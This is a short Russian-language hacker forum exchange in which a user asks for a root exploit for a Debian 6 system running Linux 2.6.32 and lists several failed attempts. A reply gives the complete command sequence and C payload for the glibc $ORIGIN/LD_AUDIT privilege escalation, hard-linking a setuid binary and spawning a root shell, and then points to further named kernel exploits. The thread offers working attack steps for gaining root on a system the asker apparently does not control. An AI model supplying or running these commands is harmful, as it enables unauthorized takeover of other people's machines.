ты просил помочь с ошибками...ты же не думал, что рабочий приватный сплойт будет выложен в паблик с такой смешной недоработкой
будьте так любезны, подберите сплоит под OS version: Linux version 2.6.32-3-amd64 (Debian 2.6.32-9) ([email protected]) (gcc version 4.3.4 (Debian 4.3.4-8) ) #1 SMP Wed Feb 24 18:07:42 UTC 2010 Distr name: Debian GNU/Linux 6.0 пробовал _1337day.com/exploits/14601 но не разобрался как с ним работать пробовал r00t.sh (не запустился) пробовал через libpcprofile.so нет прав на запись..
Судя по вашему сообщению через libpcprofile.so вы пробовали сделать выполнение крон...но данный дистрибутив должен пробиваться стандартным способом баги Glib... вот перечень команд: Code: $ mkdir /tmp/exploit $ ln /bin/ping /tmp/exploit/target $ exec 3< /tmp/exploit/target $ rm -rf /tmp/exploit/ $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
к сожалению такой метод не прошел. запрещены хард-линки ОС установленна в отдельный сектор, где не нашел ни единой папки с правами на запись. посмотрите что-нибудь еще пожалуйста.
ну прав на запись там и не должно нигде быть..в том методе, права на запись нужны только в папке tmp...а там они всегда есть... пройбуй роберт ю сак, фулл нельсон.
